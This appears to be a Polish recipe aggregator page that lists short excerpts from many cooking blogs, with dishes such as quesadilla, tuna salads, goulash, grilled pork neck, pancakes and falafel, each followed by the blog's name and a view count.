Genialny pomysł na przekąskę lub obiad,fajnie smakuje z sosem czosnkowym  lub ketchupem,robi się je bardzo szybko a za to smakują wyjątkowo. Głównym składnikiem  Quesadilla  jest kukurydziana tortilla. Nakłada się na nią łatwo topiący się ser, po czym składa się tortillę na pół. Następnie ogrzewa się ją na małym ogniu -np na patelni -tak, aby tortilla

Swojskie jedzonko
Ośmiorniczki z Parówek 117

SKŁADNIKI: 1-2 łyżki oleju 2 parówki mięsne firmy HAŃDEREK 1 jajko sól pieprz 2 plastry pomarańczy sos wedle uznania papryka czarnuszka WYKONANIE: Parówkę nacinamy na końcu, smażymy z każdej strony na oleju, parówki stopniowo wywijają się na wzór ośmiorniczki, na tej samej patelni, wybijamy jajko solimy, pieprzymy, i smażymy z obydwóch stron. Po kilku minutkach danie gotowe, przekładamy wszystko

Dziś Ja gotuje
Domowa Granola 189

glutenu. Od Was zależy jakich płatków użyjecie. Użyłam oleju z ostropestu ale użyć można dowolnego rodzaju oleju. Lubisz żurawinę? Jeśli tak to koniecznie wypróbuj nasz przepis na Sałatę z sosem serowym. The post Domowa Granola appeared first on MeCooks

mecooks
Włoska sałatka z tuńczykiem 335

ramach przekąski. Jest lekka, zdrowa i syta za razem. Pakuje w pudełka i każdy ma swoją porcję. Bardzo dobra jest także na lunch do pracy. 1 puszka tuńczyka w sosie własnym 100 g pełnoziarnisty ryż z quinoa Uncle Bens 10 oliwek czarnych 10 oliwek zielonych 1 garść roszponki 1/2 papryki czerwonej 5 pomidorów suszonych 1 cebula czerwona 5 pomidorków koktajlowych

wesoła kuchnia
Dwa bliźniaki, chleb z czarnuszką 221

Stosuję ją w swojej kuchni. Czarne nasionka tej rośliny świetnie komponują się z pieczywem, serem białym i żółtym oraz masłem. Można dodawać do kiszenia ogórków, kapusty, tłustych mięs i sosów. Dodaję również do ciasta na pierogi czy do ciasta naleśnikowego. Tym razem nie ma ich w cieście ale posłużyła mi do udekorowania chleba. Chleb z 3 gatunków mąki. Żytniej białej

Leśny Zakątek
Sałatka ziemniaczana z ziołami 154

dużej misce mieszamy ze sobą jogurt i majonez, dodajemy do tego pokrojone w dużą kostkę ziemniaki, poszatkowane zioła, rozdrobniony ząbek czosnku i przyprawy. Wszystko bardzo dokładnie mieszamy. Jeżeli sosu wyszło za mało, można spokojnie do całości dolać jogurtu

Kardamonovy
Gulasz z łopatki z papryką 167

małym ogniu. Od czasu do czasu pomieszać i w razie potrzeby uzupełnić brakującą wodę. Kiedy mięso będzie już miękkie dodać mąkę ziemniaczaną rozpuszczoną w wodzie. Doprowadzić do wrzenia. Sos powinien być gęsty. Na koniec posypać szczypiorkiem. gulasz z łopatki z papryką

O kuchni z uczuciem
Grillowana karkówka w winnej marynacie 228

cytryny 125ml oleju 1 łyżeczka słodkiej wędzonej papryki ½ łyżeczki papryki czerwonej ostrej ⅓ łyżeczki pieprzu 1 pełna łyżeczka soli 1 łyżeczka tymianku 3 ziarenka jałowca Szczypta rozmarynu 1 łyżka sosu sojowego Sposób przygotowania w Tefal Companion: W misie urządzenia zakładamy ostrze ultra blade. Dodajemy cebulę pokrojoną na ćwiartki oraz obrane ząbki czosnku. Zakładamy koszyczek do gotowania na parze i miksujemy

Kuchnia w czekoladzie
Jajeczno-serowe muffinki z papryką i mięsem 187

Lżejsze, wysokobiałkowe muffinki jajeczne goszczą u nas od czasu do czasu w dni treningowe. Z ulubionym sosem są świetną przekąską np. na kolację. Do środka można dodać swoje ulubione dodatki - warzywa, czy kiełbaski. U nas zazwyczaj jest to to boczek, szybka, papryka, zioła i ostre papryczki. Składniki (12 porcji) -12 jaj -1/2 szkl. mąki -100 g sera żółtego

Zielona Kuchnia
Ciasto z cukinią z warzywnym nadzieniem – wegańskie placki z cukinią 230

zarumienienia. Teraz piecz je pod przykryciem lub owinięte folią aluminiową przez 20 minut w piekarniku. Placuszki podaj z resztą nadzienia – możesz je równie dobrze zblendować i traktować jako sos Jako nadzienie możesz też użyć innych ulubionych dodatków Via Gusto życzy smacznego Jeśli chcesz wesprzeć moją pracę zapraszam Cię do subskrypcji kanału Via Gusto oraz do odwiedzenia blogowego Facebooka (wystarczy

Via Gusto
Makaron z tuńczykiem i pomidorkami (Farfalle con tonno e pomodorini) 175

SKŁADNIKI 400 g makaronu typu farfalle 200 g tuńczyka w sosie własnym  100 g pomidorków  3 dymki 2 ząbki czosnku 2 łyżki kaparów  oliwa z oliwek   s ó l, pieprz **** INGREDIENTI 400 g di farfalle 200 g di tonno al naturale in scatola 100 g di pomodorini 3 cipollotti 2 spicchi d'aglio

La grande e la piccola cuoca
Ślimaczki z ciasta francuskiego 212

plastry o grubości 2cm. Ułożyć na płasko na blaszce do pieczenia. wierzch ciastek posypać ziołami prowansalskimi. 4. Piec ok 20 minut w 200 st.C (góra-dół). Podawać z sosem czosnkowym. Smacznego

Kuchnia domowa Ani
Zrazy ryżowe z warzywami 193

miękkości ( ok. 20 min. ). Pozostałe cebule pokroić w półtalarki, przesmażyć na oleju, przełożyć do warzyw. Gdy warzywa będą miękkie dodać koncentrat pomidorowy, posolić i popieprzyć do smaku. Do sosu warzywnego dodać obsmażone klopsiki  i dusić jeszcze 10-15 min. Gotową potrawę wyłożyć na półmisek i posypać dowolną zieleniną

Kulinarne przemyslenia
Kotlety ziemniaczane z brokułami 398

wyszły pyyyyyszne! Smakują zarówno na ciepło jak i na zimno i doskonale mogą się sprawdzić jako przekąska na imprezach albo na grilla . Ja podałam je na kolację z sosem tzatziki. Składniki: 25 dag ugotowanych ziemniaków (dajcie tyle ile macie bo to przepis na czyszczenie lodówki) 25 dag ugotowanego brokuła (też orientacyjna porcja – ja dałam cały niewielki) jajko 1/3 kostki

Mama z miasta
Sałatka ze świeżym tuńczykiem i jajkiem w koszulce 214

jajkiem. Awokado przekroić na pół, wyjąć pestkę, a miąższ pokroić na kawałki. Tuńczyka przekroić na 4 części. Na dwóch talerzach rozłożyć sałatę. Następnie dodać awokado i tuńczyka. Całość polać sosem (składniki na dressing wymieszać ze sobą), a na sam koniec przełożyć jajko w koszulce, które można przyprawić suszonym chilli. Wierzch sałatki posypać podrumienionymi ziarnami słonecznika. Sałatkę od razu podawać. Przygotowywanie

Ugotować
Bulion warzywny 129

Przepisów na bulion warzywny jest bardzo dużo. Tym razem proponujemy taka wersję. Bulion warzywny stanowi podstawę do przyrządzania wielu zup, sosów i innych potraw. Składniki 2 marchwie 1 duża pietruszka 2 pory 1 średni selera 1 cebula 2 łyżki masła kawałek kapusty włoskiej pół pęczka natki pietruszki 2 ziarenka ziela angielskiego 6 ziarenek czarnego pieprzu 1 liść laurowy sól pieprz

R'n'G Kitchen
Krucha i soczysta karkówka w musztardowej marynacie 284

patelni. Mięso z tego przepisu wychodzi bardzo smaczne, kruche i soczyste. Polecam!     Składniki: ok 0,5 kg karkówki MARYNATA: 1 łyżka octu balsamicznego 2 łyżki sosu sojowego 2 łyżki oleju 2 łyżki ostrej musztardy 1 łyżeczka miodu 1 łyżka ziół prowansalskich pół łyżeczki soli pół łyżeczki pieprzu mielonego   *** Karkówkę myjemy, osuszamy i kroimy na około

Blog z Apetytem
Sałatka z pieczarek i hiszpańskich oliwek 209

Sałatka to idealny dodatek na majówkowe spotkania przy grillu i nie tylko, idealna na tzw. domówki. Dziś proponuje sałatkę szybką, sycącą i pachnącą latem. Delikatny sos dopełnia całości, polecam gorąco. Sałatka z pieczarek i hiszpańskich oliwek. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Panna Cotta 130

Chyba najpopularniejszy z włoskich deserów . Mnie szalenie podoba się wersja z galaretką zamiast sosu i pierwszy raz takową zrobiłam. Można ją przygotować samodzielnie ze świeżych owoców – i taka jest najlepsza! Jeśli podoba Ci się ten przepis, zachęcam do polubienia mojego bloga na Facebooku Zapraszam! Będziesz wtedy zawsze na bieżąco z nowymi wpisami! Możesz również polubić ten przepis. Składniki

Za drzwiami kuchni
Filet z kurczaka w zakręconych szaszłykach 149

roladki wyjdą 2 szaszłyki po 3 plastry Szaszłyk smażymy chwilę na patelni z jednej i drugiej strony… i gotowe Można również upiec szaszłyki w piekarniku. Fajnie smakuje z sosem pieczarkowym Smacznego! http://www.zadrzwiamikuchni.pl/2013/02/filet-z-kurczaka-w-zakreconych-szaszlykach/ Post Filet z kurczaka w zakręconych szaszłykach pojawił się poraz pierwszy w Za drzwiami kuchni

Za drzwiami kuchni
Naleśniki bananowe 156

patelnię kilka kropel i rozsmarować silikonowym pędzelkiem). Śmietanę zmiksować z cukrem pudrem . Naleśniki podawać z bitą śmietaną i pokrojonym bananem. Oczywiście można dodać więcej ulubionych dodatków! My polaliśmy je sosem czekoladowym Smacznego! Post Naleśniki bananowe pojawił się poraz pierwszy w Za drzwiami kuchni

Za drzwiami kuchni
Kajmakowa babka Wielkanocna / kajmakowe muffinki 164

trzeba natłuszczać. Piec w temperaturze 180 stopni przez ok 45 – 50 min. Pozostały kajmak (ok 100 g) lekko podgrzać ze śmietanką , do połączenia składników. Tak powstałym sosem udekorować babkę i posypać migdałami . Smacznego! Post Kajmakowa babka Wielkanocna / kajmakowe muffinki pojawił się poraz pierwszy w Za drzwiami kuchni

Za drzwiami kuchni
Prosta sałatka ze szparagami i jajkiem 229

grube  plastry, jajka w ósemki, szparagi kroimy na mniejsze części. W dużej misce lub głębokim talerzu układamy liście szpinaku, a na nich ziemniaki, jajka i szparagi. Wszytko polewamy sosem i posypujemy świeżymi ziołami. Przed podaniem mieszamy

Kulinarne przygody Gatity
Zupa chwaścianka czyli dzikusy na zdrowie 173

miastem zebrałam sporo dzikusów czyli dziko rosnących roślin jadalnych. Rosną sobie swobodnie na łąkach i w lasach. Można je wykorzystywać w kuchni do wielu smacznych dań np. zup, sosów czy zapiekanek. Chwaścianka to bardzo trafna nazwa dla tej zupy , bo przecież są w niej chwasty. Teraz, wiosną, są najbardziej soczyste i smaczne. Nie musicie za nie płacić więc ugotowanie zupy

Smaczna Pyza
Sos Pomidorowy na pizzę 129

łyżki oleju 1-2 łyżeczki oregano sól pieprz cukier WYKONANIE: 1. Na oleju zeszklić czosnek przeciśnięty przez praskę. 2. Dodać passatę, dodać oregano, sol, pieprz i cukier. Gotować aż sos zgęstnieje

Dziś Ja gotuje
Roladki ze schabu, z pieczarkami 289

listki laurowe, ziele angielskie, około 1 czubatej łyżeczki papryki słodkiej, pieprz oraz dolewamy tyle wody, aby przykryła mięso.   Roladki dusimy około 60 minut. W międzyczasie, jeśli zachodzi potrzeba, sos doprawiamy solą. Smacznego

Smak mojego domu
Skrzydełka w marynacie słodko-kwaśnej 141

skrzydełek Marynata: -zioła prowansalskie -łyżka miodu -2 łyżki octu winnego -4 łyżki oleju -łyżka sosu sojowego -kilka ząbków czosnku -pieprz -sól Czosnek przeciskamy przez praskę. Wszystkie składniki na marynatę dokładnie miksujemy. Polewamy skrzydełka i dokładnie mieszamy z marynatą. Odstawiamy na min. godzinę w  chłodne miejsce. Grillujemy często przekręcając i za każdym razem smarujemy pozostałą marynatą

Kulinarne przemyslenia
Suflet brokułowy 234

stoi na przeszkodzie, żeby ugotować je specjalnie. Trzeba je tylko przed przyrządzeniem ostudzić, bo dodanie gorącego brokuła do ubitej piany spowoduje jej natychmiastowe klapnięcie. W rondelku przygotować sos beszamelowy. Podgrzać mleko z przyprawami i łyżką mąki, zagotować ciągle mieszając, aż zgęstnieje. Zdjąć z ognia, chwilę jeszcze mieszać i trochę ostudzić. Dodać żółtka jajek i zimne różyczki brokuła, a także starty

Dietolog
Mięso mielone na patyku 197

mięsem tak jak na zdjęciu Przygotowane patyczki z mięsem panierować najpierw w jajku a potem w bułce tartej Smażyć na patelni na rumiano Podawać jeszcze gorące z dodatkiem warzyw, sosów, ziemniaków, ryżu, kaszy itd SMACZNEGO :) (adsbygoogle = window.adsbygoogle || []).push

zielonacukinka
Makaronowe krokiety 181

Makaronowe krokiety to  moją propozycja na smaczny obiad. Do tego proponuję surówkę z pora i Wasz ulubiony sos. Ja dałam czosnkowy. Krokiety można przygotować z makaronu, który pozostał Wam z poprzedniego dnia. Są syte, smaczne i szybkie do zrobienia. Jeśli przygotowaliście coś Państwo z moich przepisów, to proszę podzielcie się swoją opinią w komentarzach. Z góry bardzo dziękuję

O kuchni z uczuciem
Bakłażany zapiekane z pomidorami i ciecierzycą 195

wyschły. Do głębokiej patelni włożyć pomidory, dodać ciecierzycę  (jeżeli była w zalewie, odsączyć) doprawić kminem, solą pieprzem i harissą. Zagotować, zmniejszyć ogień i podgrzewać parę minut aż sos lekko zgęstnieje - ok 5 min. Upieczone bakłażany wyjąć z piekarnika. Do naczynia w którym będziemy zapiekać przełożyć pomidory z cieciorką, na wierzchu położyć bakłażany (w jednej warstwie). Posypać miętą i bazylią

Stare Gary
Pizza z prosciutto, brokułami, kukurydzą i groszkiem 163

wszystko kukurydzą i groszkiem, układamy mozzarellę, posypujemy serem. Pieczemy w piekarniku nagrzanym do 180 stopni przez 20 minut lub na funkcji pizza ja taką posiadam Podaję z ketchupem i sosem czosnkowym (1 łyżka jogurtu naturalnego, 1 łyżka majonezu, 1 ząbka rozmiażdżonego czosnku, sól, pieprz) Artykuł Pizza z prosciutto, brokułami, kukurydzą i groszkiem pochodzi z serwisu Moja Qchnia Pełna Smaku

MojaQchnia.pl
Placki niebanalnie. Wytrawne, słodkie, pyszne – recenzja 199

kiszonej kapusty, placka z jajkiem sadzonym, oraz z twarożkiem, bobem i rzodkiewką. Na pewno wypróbuję też placuszki jako dodatek do sałatki, słodkie placuszki z chałwą i borówkami, z sosem jagodowym, oraz dorayaki z fasolą na słodko.     Placki niebanalnie. Wytrawne, słodkie, pyszne Autorka: Karolina Polkowska Wydawnictwo: Edgard Data premiery: 2018 Okładka: twarda Artykuł Placki niebanalnie. Wytrawne, słodkie, pyszne

Ugotowane pozamiatane
Barolo i przepis na bocconcini z winem 170

cielęciny – pokrojonej na małe kawałki (takie na 1 gryz) butelka wina Barolo Przygotowanie: W dużym garnku podsmaż cebulę i czosnek na oliwie, razem z rozmarynem i selerem naciowym. Dodaj sos pomidorowy i cielęcinę oraz sól, pieprz i mielone goździki. Zalej winem i gotuj na małym ogniu przez około 2 godziny. Artykuł Barolo i przepis na bocconcini z winem pochodzi

Ugotowane pozamiatane
Grillowana wątróbka w boczku 226

plasterek boczku i spinamy wykałaczką. Smażymy na rozgrzanym grillu kilka minut, aż boczek stanie się chrupiący a wątróbka upieczona w środku. I gotowe! Najlepiej smakuje w towarzystwie aromatycznych sosów, np. czosnkowego. Smacznego Artykuł Grillowana wątróbka w boczku pochodzi z serwisu PatiGotuje

PatiGotuje
Szparagi zapiekane pod wegańskim beszamelem 191

głębokiej patelni rozgrzej oliwę, dodaj mąkę, sól i pieprz. Zmniejsz ogień. Bardzo energicznie mieszaj dolewając mleko. Gdy składniki się połączą (powinno to trwa ok 1 minuty). Zdejmij z ognia. Sos nie powinien mieć grudek. Szparagi przełóż do żaroodpornego naczynia, polej je beszamelem i posyp sezamem. Piecz ok. 15 minut w piekarniku rozgrzanym do 200 stopni. Podawaj od razu po przyrządzeniu

365 dni dookoła kuchni
Duszone udka kurczaka z boczniakami 141

każdej postaci smakuje wybornie. Tym razem proponujemy udka kurczaka w daniu jednogarnkowym, z boczniakami cytrynowymi. W początkowej fazie smażony jest na maśle, dzięki czemu nabiera delikatnego smaku, a sos śmietanowy nabiera wyrazistego, maślanego smaku. Składniki 1 kg udek z kurczaka 2 łyżki masła 1 duża cebula 4 ząbki czosnku 150 g boczniaków cytrynowych 700 g ziemniaków 700 ml bulionu warzywnego

R'n'G Kitchen
Zapiekanka ziemniaczana z kotletami mielonymi w 25 minut 194

lubię podawać tego samego obiadu przez kilka dni. I jeszcze jedno. Czasami może zdarzyć się, że gotowe kotlety okazały się przesolone. W takim przypadku można je wrzucić do sosu lub... zrobić z nich właśnie taką zapiekankę. Dodatki pozostawiam dla Was, kto co lubi, ale możecie zainspirować się moją wersją, która za każdym razem znika w oka mgnieniu. Z dokładką! Polecam

Di gotuje
Kolorowa sałatka makaronowa 13495

osuszamy i drobno siekamy *** *** Paprykę czerwoną kroimy w kostkę. Kukurydzę odsączamy z zalewy. Makaron gotujemy według przepisu na opakowaniu *** ***Majonez mieszamy z jogurtem i przeciśniętym czosnkiem. Do sałatki dodajemy sos majonezowy, mieszamy i doprawiamy do smaku solą oraz pieprzem *** *** Do czasu podania sałatkę przechowujemy w lodówce *** *** SMACZNEGO ***   POLECAM RÓWNIEŻ: NAJLEPSZE PRZEPISY NA SAŁATKI KLIKNIJ TUTAJ POMYSŁY NA NIEDZIELNY

Blog z Apetytem
5 pomysłów na zupę krem – wyjątkowe przepisy! 171

zupy krem zasmakują każdemu! Można je jeść jako chłodnik i na gorąco. Poznajcie 5 sprawdzonych pomysłów na zupę krem. Zupa pomidorowo-paprykowa z grzanką Słodycz pieczonej papryki i kwaskowatość sosu pomidorowego – to doskonałe małżeństwo przeciwieństw. Aby był to związek idealny potrzebna jest już tylko wyjątkowa grzanka. Czas: 30-35 minut Poziom trudności: łatwy Zupa brokułowa z mielonymi migdałami z grzankami

Niedzielny kucharz
Marynata na grilla z sokiem jabłkowym 209

minut Liczba porcji: Z podanej ilości składników powstanie marynata na 4 filety Składniki: Szklanka soki jabłkowego 1/2 szklanki wody 1 łyżeczka soli 1 łyżeczka miodu 1 łyżeczka sosu sojowego 1 łyżeczka soku z cytryny 1/2 łyżeczki brązowego cukru 1/2 łyżeczki suszonego czosnku Przygotowanie: Wlej i wsyp składniki do rondla, zagotuj, a następnie gotuj na wolnym ogniu przez 5 minut. Ostudź

Niedzielny kucharz
Mięso z grilla palce lizać, czyli podudzia w marynacie keczupowo-cebulowej 165

minut zdejmujemy pokrywkę. W zależności od tego jaki stopień wypieczenia mięsa preferujemy, smażymy podudzia jeszcze przez 6 do 10 minut, mieszamy starając się jak najdokładniej pokryć nasze mięsko otrzymanym sosem keczupowym. Przepis na Podudzia z kurczaka w marynacie keczupowo-cebulowe w wersji do wydruku i PDF. Artykuł Mięso z grilla palce lizać, czyli podudzia w marynacie keczupowo-cebulowej pochodzi

KulinarneImpresje.pl
Ciastka z masłem orzechowym i czekoladą 181

Vivio sprzedawane jest w dużym słoiku o wadze 900 gramów. Bardzo dobrze, bo takie dobre masło idzie u mnie w kilka dni. Masło orzechowe używam do gotowania. Pewnie znacie sos satay . Najczęściej jednak wykorzystuję je do wypieków. Moje dzieci lubią smarować nim kanapki i naleśniki. Ja lubię miksować masło orzechowe z bitą śmietaną…Tak, tak dogadzam sobie jak mogę

codojedzenia
NAJLEPSZE PRZEPISY NA MAJÓWKĘ 250

STEKI Z CIELĘCINY Z PYSZNYM SOSEM! SZASZŁYKI Z KURCZAKA I ANANASA Z RYŻEM JAŚMINOWYM!- LINK DOMOWE BURGERY Z GRILLOWANYM MIĘSEM! PYSZNE!- LINK POMIDORY POD PIERZYNKĄ, PRZEKĄSKA NA IMPREZĘ! ŻEBERKA "LEPKIE PALCE" APETYCZNE KARTOFLISKO PROSTO Z PATELNI! SAŁATKA MAKARONOWA W STYLU WŁOSKIM SAŁATKA Z JAJKIEM W KOSZULCE I AWOKADO PYSZNE WRAPY/ BURITTO Z ŁOSOSIEM I MANGO! GRILLOWANA RYBA Z MŁODĄ MARCHEWKĄ

SMYKWKUCHNI
Dorsz pieczony z rozmarynem i cytryną 218

rozmarynem i cytryną. Kilka prostych składników i doskonałe danie gotowe! Na blogu znajdziecie też inne przepisy na rybę: Grillowana dorada Labraks pieczony w folii Karmazyn w warzywach z sosem winno-śmietanowym Merluza la mediterranea, czyli morszczuk po śródziemnomorsku Dorada gotowana na parze Norweski Dorsz z Morza Arktycznego – Skrei Norweski Dorsz z Morza Arktycznego – Skrei gości na stołach tylko od stycznia

Kulinarne przygody Gatity
KLUSKI ŚLĄSKIE 303

można dodać samo żółtko lub zupełnie pominąć dodatek jajka. Ugotowane kluski można odgrzewać w garnku z gorącą wodą lub podsmażać na niewielkiej ilości klarowanego masła. Można podać je z sosem pieczarkowym , szpinakowym , kurkowym lub jako dodatek do gulaszy . SKŁADNIKI / 50 sztuk 700 g ugotowanych ziemniaków 1 małe jajko / można pominąć mąka ziemniaczana sól WYKONANIE Ziemniaki obieramy, myjemy i kroimy

cool and minty
Szparagi cytrynowe z jajkiem w koszulce 141

gotującej się wodzie ok. 3 min. Ugotowane jajko w koszulce delikatnie wyjmujemy z wody i odkładamy na papierowym ręczniku. Szparagi i pomidorki koktajlowe układamy na talerzy i polewamy sosem, który powstał po smażeniu. Na szparagach układamy jajko w koszulce. Smacznego

kulinarnyJa
Prosta surówka z sałaty lodowej i papryki 124

gałązki koperku sól, pieprz Przygotowanie B Sałatę grubo szatkujemy, papryki kroimy w krążki. Olej, ocet, miód, wodę i koperek dokładnie mieszamy, polewamy po sałacie i papryce. Warzywa mieszamy z sosem. Surówkę podajemy schłodzoną

R'n'G Kitchen
Gofry belgijskie z argentyńskim karmelem. 197

lekko wmieszany.  Gofrownicę nagrzewamy, na każdą płytkę wykładamy 1 łyżkę ciasta. Ciasto będzie gęste lecz klejące, takie ma być. Pieczemy aż gofry będą złociste.  Polewamy pysznym karmelowym sosem i posypujemy płatkami migdałowymi.  *  Dulce de Leche Chimbote to oryginalny, karmelowy krem prosto z Argentyny. Ten przypominający smakiem karmel lub krówkę egzotyczny specjał może być doskonałym dodatkiem

Radość kipiąca uśmiechem.
Kurczak po hiszpańsku z pikantną kiełbasą 146

czym układamy na cebuli nasze kawałki kurczaka. Obsmażamy z obydwu stron, razem z cebulą.  Dolewamy odrobinę wody i dusimy około 1 godzinę.  Finalnie mamy mięsko w przepysznym sosie, który możemy podać na wiele sposobów, u nas z ziemniakami. Cudo! :) Wioleta Gargula

MamaOskarka
Tuńczyk w kokardkach czyli makaronowa sałatka z tuńczykiem 232

powalający). Na szczęście w smaku bardzo nam odpowiadała:) Szczególnie przypadła do gustu mojemu M:) 350 g makaronu kokardki słoiczek (300g) tuńczyka w oleju (ewentualnie 1-2 puszki tuńczyka w sosie własnym) 200 g pomidorków koktajlowych kilka zielonych oliwek, pokrojonych w krążki 2-3 łyżki majonezu 2 łyżki soku z cytryny sól, pieprz szczypta oregano Makaron gotujemy w osolonym wrzątku

Smaki Na Talerzu
Ciasto ala tarta z jabłkiem i kruszonką 183

posyp kruszonką. Wstaw ciasto do nagrzanego na 175ºC piekarnika i piecz przez 35 minut. Podaj tartę na gorąco z lodami lub na zimno z jogurtem, bitą śmietaną lub waniliowym sosem.   Spara Spara Spara Spara Spara Spara Spara Spara Spara Spara Spara Spara Spara Spara Spara Spara The post Ciasto ala tarta z jabłkiem i kruszonką appeared first on Blog

codojedzenia
VADEMECUM Podstawowy przepis na gofry – co zrobić, żeby gofry były lekkie i chrupiące? 370

dieta jest poważnie zagrożona? Kiedy ulubionym deserem Twojego kochanego samca są gofry! Lekkie i chrupiące – takie które zawsze wychodzą, a ich jedzenie kojarzy się górą bitej śmietany, lepkimi od sosu palcami i z najsłodszą dziecięcą beztroską. Dlaczego gofry nie zawsze wychodzą takie jak powinny – nie są ani lekkie, ani chrupiące? Jak piec i podawać gofry? Wszystko w dzisiejszym poście

Karo in the Kitchen
Tosty z awokado 244

się białko. Kiedy białko jest ścięte przewracamy na drugą stronę i smażymy przez około 30 sekund. Ja lubię kiedy żółtko jest nadal lejące. W ten sposób mamy dodatkowy sos. Złożenie tostów: każdy z tostów delikatnie od strony wewnętrznej posmarować majonezem. Na pierwszy tost wyłożyć pokrojone plastry awokado, plasterek boczku, jajko oraz kilka listków szpinaku. Przykryć drugim tostem od wewnątrz posmarowanym

mecooks
Makaron z pesto pietruszkowym. 184

zastrzyk zielonej wiosennej energii w najprostszej postaci. Dania tego typu są z pewnością gratką dla miłośników makaronu jako takiego - nie ma co ukrywać, że w towarzystwie tak prostych sosów, to on gra pierwszą rolę. Dlatego powinien być jak najlepszej jakości i dobrze ugotowany. Smacznego! :) Składniki: makaron spaghetti 1 duży pęczek pietruszki 3 łyżki prażonych pestek dyni 3 łyżki startego parmezanu

zadanie-gotowanie
Curry z kurczakiem, ananasem i kukurydzą 314

koniec duszenia, na patelnię z kurczakiem i warzywami. Cały czas gotując na małym ogniu, doprowadzić do wrzenia, po czym dalej gotować na małym ogniu, często mieszając, aż sos zgęstnieje. Gotowe curry przyprawić solą i pieprzem do smaku. Curry podawać gorące, z ryżem. SMACZNEGO! Uwagi do przepisu: Z podanych składników wychodzi porcja dla 4 osób. Ostrość curry można regulować, zmniejszając

Gospodyni Miejska
DROBIOWY KEBAB NA TALERZU 278

fileta z kurczaka, ale w ten sam sposób można zrobić również kebab z innego rodzaju mięsa. Podałam go na talerzu z opiekanymi ziemniaczkami i surówką z kapusty pekińskiej oraz sosem czosnkowym, ale równie dobrze można podać go w bułce. Jak na domowe warunki jest naprawdę smaczny i niezwykle aromatyczny, a my chociaż wiemy z jakiego mięsa jest zrobiony - te kebaby

Kuchnia MagdaLeny
schab ze śliwką wędzoną z rękawa w marynacie klasycznej do mięs... 213

góra/dół około 70 minut, następnie rękaw na środku rozciąć i piec jeszcze z 20 minut schab dobrze wystudzić, wywar z pieczenia można wykorzystać np. do bigosu, gulaszu, sosu, zupy - doskonały, soczysty, aromatyczny, kruchy nadziany śliwkami, boczkiem wędzonym, cebulą i pieczony w rękawie to idealne mięso na zimno do pieczywa.........SMACZNEGO

W Mojej Kuchni Lubię
Pomidorowa z soczewicą 169

wersję , lubimy widzieć co zjadamy:) Składniki 400 g pomidorów krojonych z puszki 2 świeże pomidory marchew pietruszka,kawałek selera,por 1 cebula 2-3 ząbki czosnku 1 szklanka soczewicy sos sojowy liść laurowy,ziele angielskie sól,pieprz natka … Czytaj dalej Pomidorowa z soczewicą

gotuj ze mną
Grillowane warzywa – jakie warzywa grillujemy? 242

Grill to nie tylko miejsce na którym możemy przygotowywać potrawy mięsne. Świetnie smakują również grillowane ryby i warzywa. Tak, to właśnie grillowane warzywa będą świetnym dodatkiem

Kulinarnyblog.pl - wiesz jak gotować!
Klasyczny burger z sosem z zielonego pieprzu 164

różnorodności do menu grillowego... w tym trochę klasyki. Burger wołowy z takimi dodatkami jak boczek i świeże warzywa to gwarancja sukcesu a do tego pyszny, kremowy i lekko ostry sos z zielonego pieprzu. To jedno z moich ulubionych połączeń w hamburgerach

Milion Smaków
Buddha bowl: miska rozmaitości z quinoa i awokado 210

miski. Z reguły używa się 2-3 rodzajów warzyw, w większości na surowo. Białka - mięso, nabiał, jajka, awokado Toppingi - marynowane warzywa, orzechy, nasiona Świeże zioła - wybierzcie swoje ulubione Sos - może to być klasyczny dressing na bazie oleju czy jogurtu, a także gęsty dip lub hummus Dziś mam dla Was przepis na buddha bowl w wersji wegańskiej, oto miska rozmaitości

Kulinarne przygody Gatity
Pierwsze sushi jak zrobić ? 161

omlet. Przy pomocy bambusowej maty zwijamy rolkę. Przed końcem zwijania moczymy niepokryty ryżem koniec wodorostu wodą i dokręcamy do przyklejenia. Tak uformowaną rolkę tniemy na krążki. Podajemy z sosem sojowym, wasabi oraz marynowanym imbirem

AZgotuj!
FALAFEL IDEALNY 226

każdej strony po ok.2-3 minuty. Usmażone odkładać na papierowym ręczniku. Po odsączeniu od razu podawać. Pyszne są z dodatkiem hummusu , sałatki greckiej, pokrojonych na plastry ogórków kiszonych i sosu czosnkowego lub dowolnie- co kto lubi... Smakują zarówno na ciepło jak i na zimno. Smacznego

Smaczne Zdrowe
Klopsiki w porach 185

Miały być klopsiki , a do tego ziemniaki i surówka z pora..ale tak sobie pomyślałam  że pójdę na łatwiznę hihi i zamiast surówki z pora będzie sos z pora..no i wyszło całkiem pysznie. 50 dkg  mielonego mięsa cebulka 1-2 ząbki czosnku 1 jajko 4 łyżki tartej bułki 1 szkl.bulionu 1/2 puszki pomidorów krojonych 2 pory

Moje domowe kucharzenie
Pesto 235

Zielone pesto bazyliowe - " Pesto alla genovese" – to zielony sos pochodzący z Genui we Włoszech, którego głównym składnikiem jest bazylia. Jest bardzo aromatyczny i nadaje się do piersi kurczaka, krewetek jak i solo do spaghetti. Czytaj więcej

Ana Mari's world
Karkówka w oleju na grilla 337

Szukając prostego dania na grilla przyszedł mi do głowy pomysł na niezwykle proste danie, ale zarazem niezwykle smaczne. Karkówka w oleju na grilla może wydać się

Kulinarnyblog.pl - wiesz jak gotować!
Pomidory nadziewane rodzynkami i orzechami z miętą 174

Pomidory nadziewane rodzynkami i orzechami z miętą i innymi dodatkami to nie jest typowe ani tradycyjne polskie danie, ale ciekawe samo w sobie. Połączenie słodyczy z miętą i sosem czosnkowym to ciekawe doznania smakowe. Polecam na przystawkę lub przekąskę – my zjedliśmy pomidorki na kolację i popiliśmy piwem. Składniki na: Pomidory nadziewane rodzynkami i orzechami... Więcej The post Pomidory nadziewane

Magiczny Garnek
"Ptasie mleczko" z quinoy z sosem z mango i rabarbarowym "kawiorem" (bez gluenu, bez laktozy, bez cukru) 219

użyć dużej strzykawki, pipety, albo łyżeczki. Gdy kuleczki "kawioru" uformują się, odcedzamy je z oleju i przepłukujemy zimną wodą na gęstym sicie. Schłodzony deser wyjmujemy z foremek, podajemy z sosem z mango i rabarbarowym "kawiorem", posypujemy rozgniecionymi liofilizowanymi truskawkami i ozdabiamy kwiatami. Smacznego

Quinoa Raz!
Surówka z młodej kapusty. Przepis krok po kroku. 179

mundurkach, pomidorki koktajlowe, ogórka małosolnego czy paski papryki i zrezygnować np. z dodatku pieczywa.   Warto czasami zrezygnować z surówek z sosem na bazie majonezu, które do grillowanych dań, powiedzmy uczciwie aż za bardzo obciążają nasz układ trawienny.   Zapraszam do zapoznania się z przepisem „krok po kroku

kuron.com.pl
Wiosenne naleśniki z botwinką i kremowym kurczakiem 222

